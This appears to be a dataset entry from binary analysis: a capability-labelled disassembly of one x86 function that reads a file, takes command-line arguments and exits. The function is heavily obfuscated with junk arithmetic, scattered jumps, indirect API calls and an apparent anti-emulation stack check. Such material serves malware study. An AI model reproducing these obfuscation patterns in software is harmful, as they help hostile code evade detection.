Function at 0x401bab
Capabilities:
Accept command line arguments
Read file on windows
Terminate process

Disassembly:
add edi, esi
inc ebx
mov ecx, eax
mov edi, esi
add ebx, 0x4c36
inc ebx
jmp 0x4085db
dec edx
mov edi, ebx
add ecx, eax
add edx, 0x4a4f
jmp 0x40884d
add ebx, 0x4f4b
mov eax, 0x89dc3354
add ebx, edi
jmp 0x408598
dec ebx
mov edi, ebx
push edx
sub esi, 0x56744f
dec esi
add ebx, 0x376f
jmp 0x408904
mov esi, ebx
add ebx, esi
inc edi
mov eax, 0xb1c2711e
dec edx
mov esi, 0x556275
add esi, ecx
jmp 0x408865
mov ebx, 0x68475244
inc ebx
add ebx, 0x453248
mov ebx, 0x316462
add edx, 0x72726748
jmp 0x4019e9
add edx, 0x6f49
mov eax, 0x273aa93b
sub ecx, 0x503757
jmp 0x4018e8
mov esi, 0x71326845
inc ebx
jmp 0x40891d
sub edx, 0x7247
mov ebx, 0x3632536d
inc ecx
jmp 0x408959
mov edx, 0x483456
inc ebx
add edx, eax
dec eax
add esi, 0x484153
inc eax
inc edi
mov edx, ecx
jmp 0x4088f1
add edi, esi
inc ecx
mov edi, eax
dec ecx
jmp 0x408686
sub edx, 0x3465684e
dec edi
mov eax, dword [eax + 0x10]
add edx, edi
mov edx, edi
add esi, 0x4a4f746b
jmp 0x408589
dec edi
mov esi, 0x73594e
add esi, edi
dec ebx
jmp 0x40167c
sub eax, 0x6d50
inc edx
add esi, 0x493349
dec ebx
mov ecx, 0x6157
mov edi, ebx
jmp 0x401923
inc esi
sub edx, 0x526d6c
add esi, edi
mov edi, 0x5469
jmp 0x401b94
mov edi, edx
inc esi
mov edi, ecx
push eax
add ebx, 0x6f4447
add eax, ebx
dec esi
jmp 0x401886
add edx, eax
sub edx, 0x47346638
mov esi, ebx
add edi, 0x366f5445
jmp 0x4015ff
mov ecx, edx
add eax, 0x76645170
dec esi
jmp 0x4018b6
inc edx
add ebx, edx
mov esi, eax
add eax, 0x3c
add esi, edx
inc esi
jmp 0x40864e
sub eax, 0x7173
call dword [sym.imp.COMCTL32.DLL_InitCommonControls]
ret
mov edx, 0x446d75
add edx, ecx
mov eax, dword [eax]
add ebx, 0x6f65616f
mov esi, 0x6b554145
jmp 0x401a51
sub esi, 0x64687536
add edi, 0x6e763754
mov ebx, edx
add eax, ecx
add ebx, edx
jmp 0x4084ea
push ebp
inc eax
add esi, 0x4778
sub ebx, 0x314638
add esi, eax
push ecx
add eax, 0x4550
dec esi
mov edi, 0x3257
sub esi, 0x35626b6a
add edi, 0x766856
push 0
mov ebx, edi
sub ebx, 0x3870724b
inc esi
sub ebx, 0x425245
add eax, 0x61584a
mov ebx, edx
mov edx, ecx
dec edx
sub esi, 0x7449
rol ebx, 0x10
add edi, 0x7166
mov edx, 0x5355
sub eax, 0x6f5455
add ebx, 0xed6f8370
je 0x401c84
add eax, esi
inc ebx
mov eax, 0x4c71696c
add esi, 0x6768
inc esi
call dword [sym.imp.COMCTL32.DLL_InitCommonControls]
pop edx
inc esi
dec eax
inc esi
sub esi, 0x3872324a
inc edi
add esp, 4
mov esi, ecx
inc esi
sub ebx, 0x7751
jne 0x401c53
mov ebx, 0x455653
add eax, ecx
sub ebx, 0x4a65
add esi, ecx
mov eax, ebx
add ebx, eax
add ecx, 0x69443465
mov ecx, 0x4955
add ebx, edx
mov eax, edx
add ebx, esi
mov eax, 0xffebb080
mov edi, ebx
add ebx, 0x6f7432
mov edi, esi
inc ecx
dec esi
add edi, ebx
add edx, eax
jne 0x401cc0
cmp esp, 0x12fdf4
jne 0x401c84
ret
mov edi, ebx
sub ecx, 0x72566f
mov ebx, ecx
add ebx, 0x74504f71
add ebx, eax
add edi, 0x6e4234
call dword [sym.imp.KERNEL32.DLL_ReadFile]
inc edi
sub edi, 0x766844
dec esi
sub ecx, 0x384242
mov ecx, eax
add esi, 0x67357144
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
sub edi, 0x61444e78
mov edi, 0x737850
add edx, 0x484f
dec edx
mov ecx, eax
jmp 0x408824
inc esi
mov ebx, 0x6e6755
add edx, 0x5644
inc edx
sub esi, 0x6e4b5272
jmp 0x40872f
add esi, eax
mov edi, 0x675362
dec esi
sub ebx, 0x683572
add edi, edx
jmp 0x401d47
sub edi, 0x79724675
mov edx, dword [ecx]
add ecx, esi
jmp 0x40855e
add ebx, esi
mov edx, ebx
mov edi, 0x3154
add ecx, ebx
push 0x4086a1
add ecx, 0x716b
add ebx, ecx
inc ecx
mov esi, 0x544c57
dec esi
mov eax, 0x6d706c
ret
inc edi
mov ebx, 0x75674a44
mov edi, edx
add byte [eax], 2
inc edx
jmp 0x401a8f
add esi, edx
sub esi, 0x56737645
dec edx
mov edx, 0x3253554e
mov edi, edx
inc esi
jmp 0x408572
je 0x4085c5
add edi, esi
add esi, 0x7866
mov eax, 0x55525053
add eax, 0x7846
mov esi, eax
jmp 0x401db6
mov esi, 0x663431
add edi, 0x51624538
inc edi
mov edi, edx
jmp 0x401656
mov edx, 0x356d
mov eax, dword [eax + 0x80]
add edx, 0x6b6337
jmp 0x401d1b
sub edx, 0x56633742
mov esi, eax
inc esi
jmp 0x401613
dec esi
add edi, eax
inc esi
jmp 0x401b0d
inc eax
dec eax
sub edi, 0x774c62
mov esi, edi
mov esi, 0x4670
dec ebx
jmp 0x401a36
dec esi
add ebx, 0x523654
sub edi, 0x70367971
jmp 0x401b2a
mov ebx, ecx
add edi, 0x76546d77
inc edi
dec edi
jmp 0x401b4d
dec edi
mov ecx, esi
add edx, eax
mov edx, 0x4c544d52
push 0xffffffffffffffff
inc eax
mov esi, edi
inc edi
sub esi, 0x6f6f
mov ecx, 0x587270
push sym.imp.ADVAPI32.DLL_GetSidSubAuthorityCount
pop edx
add eax, ecx
add edi, 0x6d4f75
add esi, eax
inc ecx
add eax, ecx
push dword [edx]
add esi, 0x4a664e
inc esi
sub edi, 0x7876
inc esi
sub ebx, 0x6d794f34
pop ebx
add ecx, 0x646438
mov eax, esi
add esi, 0x50457469
sub ecx, 0x4a6b
mov esi, eax
call ebx
sub esi, 0x4e59
add ecx, esi
mov ebx, 0x7253
sub edi, 0x4971
add esi, ebx
add edx, 0x72626657
or eax, eax
jmp 0x408509
add edx, 0x317361
add edi, eax
inc edi
add eax, ecx
mov edx, 0x4f364e
sub esi, 0x6868
jmp 0x401869
mov esi, 0x7763
inc edx
dec ebx
mov eax, 0x4a635379
sub ecx, 0x37756470
inc ecx
pop ebp
add eax, 0x5538
add edi, edx
add ecx, 0x4a70
dec edi
jmp 0x40199c
add ebx, 0x714b
mov esi, edx
sub ebx, 0x6a3438
add esi, edi
mov edx, 0x4957
jmp 0x4088ac
mov edi, 0x7259
dec edx
add eax, 0x4e7e3ee2
add ebx, 0x5733424b
dec edi
jmp 0x4084d8
mov ebx, edi
add ebx, 0x704332
inc esi
sub esi, 0x756b
mov esi, edx
jmp 0x401d34
mov esi, 0x696d54
add eax, edx
sub edi, 0x484b70
jmp 0x401811
sub edi, 0x72627848
add edi, ecx
inc esi
mov esi, edx
sub esi, 0x456270
mov edx, esi
jmp 0x401b3b
sub edi, 0x4c5769
inc ecx
push eax
sub ebx, 0x3566
jmp 0x401a27
sub ecx, 0x514855
inc esi
add eax, 0xd90556c5
inc edx
add ebx, esi
jmp 0x401af0